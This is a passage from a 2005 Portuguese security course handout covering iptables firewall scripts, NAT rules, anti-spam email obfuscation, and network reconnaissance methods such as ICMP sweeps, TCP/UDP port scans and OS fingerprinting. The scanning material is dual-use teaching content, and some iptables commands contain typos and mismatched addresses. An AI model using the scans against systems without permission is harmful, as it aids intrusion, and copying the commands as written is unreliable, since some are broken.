na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este 